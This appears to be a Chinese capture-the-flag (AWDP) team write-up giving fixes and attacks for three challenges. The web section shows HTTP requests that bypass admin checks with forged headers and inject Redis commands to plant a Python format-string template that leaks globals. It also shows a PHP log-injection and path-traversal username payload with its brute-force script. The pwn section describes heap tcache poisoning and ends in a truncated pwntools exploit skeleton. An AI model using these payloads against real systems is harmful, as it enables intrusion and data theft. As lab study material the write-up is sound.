AWDP
Web
rng-assistant(Cain、chu0)
FIX
抽象check脚本,我修泥木
BREAK
审计和分析代码后,整体思路如下:
-
1. 通过/register和/login路由获取session -
2. 通过添加 X头,越权访问/admin路由 -
3. 通过/admin/model_ports路由,将default的端口改为6379,让我们可以执行redis-cli语句 -
4. 通过/ask路由,进入generate_prompt(question)函数,从而实现模板匹配 -
5. 审计模板类PromptTemplate,发现缓存机制函数,如果第一次尝试读取模板,那么从文件中读;之后每次读,都是从数据库中
@staticmethod
def get_template(template_id):
prompt_key = f"prompt:{template_id}"
prompt = redis_conn.get(prompt_key)
if not prompt:
template_path = join(PromptTemplate.PROMPT_DIR, f"{template_id}.txt")
with open(template_path, "rb") as file:
prompt = file.read()
redis_conn.set(prompt_key, prompt)
prompt = prompt.decode(errors="ignore")
return prompt
-
1. 本地fuzz发现,模板匹配可以实现python的魔术方法 -
2. 通过访问/ask路由,将math-v1的模板写入数据库(好像没有必要) -
3. 通过/admin/raw_ask路由,直接访问redis,执行命令修改(写入)math-v1的值 -
4. 通过访问/ask路由,泄露flag
下面是详细实现和分步截图:
注册和登录
POST /register HTTP/1.1
Content-Length: 111
Content-Type: application/json
Connection: close
{"username":"123", "password":"123"}
#这里拿session
POST /login HTTP/1.1
Content-Length: 111
Content-Type: application/json
Connection: close
{"username":"123", "password":"123"}
暴露redis端口
#暴露端口
POST/admin/model_portsHTTP/1.1
Content-Length:38
Content-Type:application/json
Cookie:session=eyJ1c2VyIjoiMTIzIn0.Z9huKw.gUR8v6HfMt2vbYvwrad6T3BDqyM
x-secret:210317a2ee916063014c57d879b9d3bc
x-user-role:admin
Connection:close
{ "model_id":"default", "port":6379}
写入模板
#向redis中写入数据
POST/askHTTP/1.1
Content-Length:44
Content-Type:application/json
Cookie:session=eyJ1c2VyIjoiMTIzIn0.Z9huKw.gUR8v6HfMt2vbYvwrad6T3BDqyM
x-secret:210317a2ee916063014c57d879b9d3bc
x-user-role:admin
Connection:close
{"question":"hello", "model_id":"math-v1"}
套用redis-cli数据包的格式,修改模板
#修改redis中对应的键值
POST/admin/raw_askHTTP/1.1
Content-Length:117
Content-Type:application/json
Cookie:session=eyJ1c2VyIjoiMTIzIn0.Z9huKw.gUR8v6HfMt2vbYvwrad6T3BDqyM
x-secret:210317a2ee916063014c57d879b9d3bc
x-user-role:admin
Connection:close
{"prompt":"*3rn$3rnSETrn$14rnprompt:math-v1rn$24rn{t.__init__.__globals__}rn;", "model_id":"default"}
使用模板匹配,通过魔术方法泄露
#再次访问ask渲染新键值拿到全局变量
POST /ask HTTP/1.1
Content-Length: 44
Content-Type: application/json
Cookie: session=eyJ1c2VyIjoiMTIzIn0.Z9huKw.gUR8v6HfMt2vbYvwrad6T3BDqyM
x-secret: 210317a2ee916063014c57d879b9d3bc
x-user-role: admin
Connection: close
{"question":"hello", "model_id":"math-v1"}
ccfrum(Q1ngchhan)
Fix
log_action 是可控的,于是对 config.php ⽂件进⾏修补,对其中的 $additional 进⾏编码,进⾏防护
其实看完 break 能发现是因为换行符导致的问题,可以直接禁止掉换行符,如果遇到换行直接不写进去就是最小修补了
function log_action($username, $action, $succ, $additional = '')
{
$log_id = uniqid();
$e_username = encode_uname($username);
if (strpos($additional, "n") !== false) {
return;
}
$log_line = sprintf(
"%s,%s,%s,%d,%sn",
$log_id,
$e_username,
$action,
$succ,
$additional
);
file_put_contents('/var/www/action.log', $log_line, FILE_APPEND);
}
Break (kengwang)
仔细审计上方代码以及 admin.php 中的内容,我们可以知道他是以换行符作为每一行日志的分割
可以找到当第三列为 record_banned
时他会读取第二列作为目录名称,同时读取目录下面所有内容来回显。
但是我们再次进行审计会发现
这里会将我们的用户名进行一次 base64_encode
, 不太好进行目录穿越
于是我们考虑从 $additional
入手,通过自己写一个换行符来多加一条日志
我们关注一下下面的方法:
function record_banned($username, $banned)
{
$e_username = encode_uname($username);
$banned_dir = "/var/www/banned/{$e_username}";
$created = true;
if (!file_exists($banned_dir)) {
$created = mkdir($banned_dir, 0750);
}
$log = "";
$succ = 1;
if (!$created) {
$succ = 0;
$log = "Failed to create record directory for " . $username;
} else {
$filename = $banned_dir . '/' . time() . '.txt';
if (!file_put_contents($filename, $banned)) {
$succ = 0;
$log = "Failed to record banned content";
}
}
log_action($username, 'record_banned', $succ, $log);
}
这里会写入 $log
作为 additional, 接下来我们要做到如下内容:
-
• 使其写入 $log
-
• 使 $log
中存在换行符并跟上我们新的一行
我们一个个来吧,先完成第二个,我们很容易通过审计代码构造好我们新一行的 Payload
n,../../../,record_banned,1,
共 28 字符,接下来我们需要让其写入 log 了
我们可以发现他防护的很死,基本上都已经经过了一次 base 再写入的日志,但是我们容易发现
$log = "Failed to create record directory for " . $username;
此处直接写上了我们的用户名,于是我们就可以将我们的 Payload 放到用户名里面
接下来我们要看看怎么才能走到这里
$e_username = encode_uname($username);
$banned_dir = "/var/www/banned/{$e_username}";
$created = true;
if (!file_exists($banned_dir)) {
$created = mkdir($banned_dir, 0750);
}
我们需要让这个不存在的目录创建失败,同时注意到此时也被进行过了 base64_encode
注意到 mkdir
传参并未允许多层目录创建,我们可以利用 base64 后存在的 /
来构造出多级目录造成其创建失败
拼上我们的 Payload, 用 PHP 来爆破一下:
<?php
for ($i = 0; $i < 256; $i++) {
for ($j = 0; $j < 256; $j++) {
$prefix = chr($i) . chr($j);
$str = 'a'. $prefix . "n" . ',../../../,record_banned,1,';
$base64 = base64_encode($str);
if (strpos($base64, '/') !== false) {
echourlencode($str) . "n";
echo$base64 . "n";
echostrlen($str) . "n";
exit;
}
}
}
可以跑出来一个可用的用户名:
a%00%3F%0A%2C..%2F..%2F..%2F%2Crecord_banned%2C1%2C
YQA/CiwuLi8uLi8uLi8scmVjb3JkX2Jhbm5lZCwxLA==
31
31 字符,不多不少,刚刚贴着注册允许的最大字符数
于是我们用这个用户名,注册登录,发布 SENSITIVE WORD
触发这段逻辑,在 admin.php
中就能看到 Flag 了
Pwn
TYPO(huan)
FIX
修改_snprintf改为printf,从而禁止堆溢出漏洞。(我觉得修改read的size也可以,但是写check脚本的人不太像人;(
break
利用堆叠和堆溢控制tcache的fd指针,打stdout,1/16远程。
'''
huan_attack_pwn
'''
import sys
from pwn import *
import subprocess
import re
import os
# from pwncli import *
# from LibcSearcher import *
# from ctypes import *
context.terminal = ['tmux', 'splitw', '-h', '-P']
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './pwn'
libc = '/home/yhuan/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6'
# host, port = ":".split(":")
print((' 33[31;40mremote 33[0m: (y)n'
' 33[32;40mprocess 33[0m: (n)'))
if sys.argv[1] == 'y':
r = remote(host, int(port))
else:
r = process(binary)
# r = gdb.debug(binary)
# libc_ = cdll.LoadLibrary(libc)
libc_ = ELF(libc)
elf_ = ELF(binary)
# srand = libc.srand(libc.time(0)) #设置种子
default = 1
se = lambda data : r.send(data)
sa = lambda delim, data : r.sendafter(delim, data)
sl = lambda data : r.sendline(data)
sla = lambda delim, data : r.sendlineafter(delim, data)
rc = lambda numb=4096 : r.recv(numb)
rl = lambda time=default : r.recvline(timeout=time)
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time)
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True)
uu32 = lambda data : u32(data.ljust(4, b' '))
uu64 = lambda data : u64(data.ljust(8, b' '))
lic = lambda data : uu64(ru(data)[-6:])
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg = lambda var_name: log.success(f" 33[95m{var_name} : 33[91m0x{globals()[var_name]:x}
评论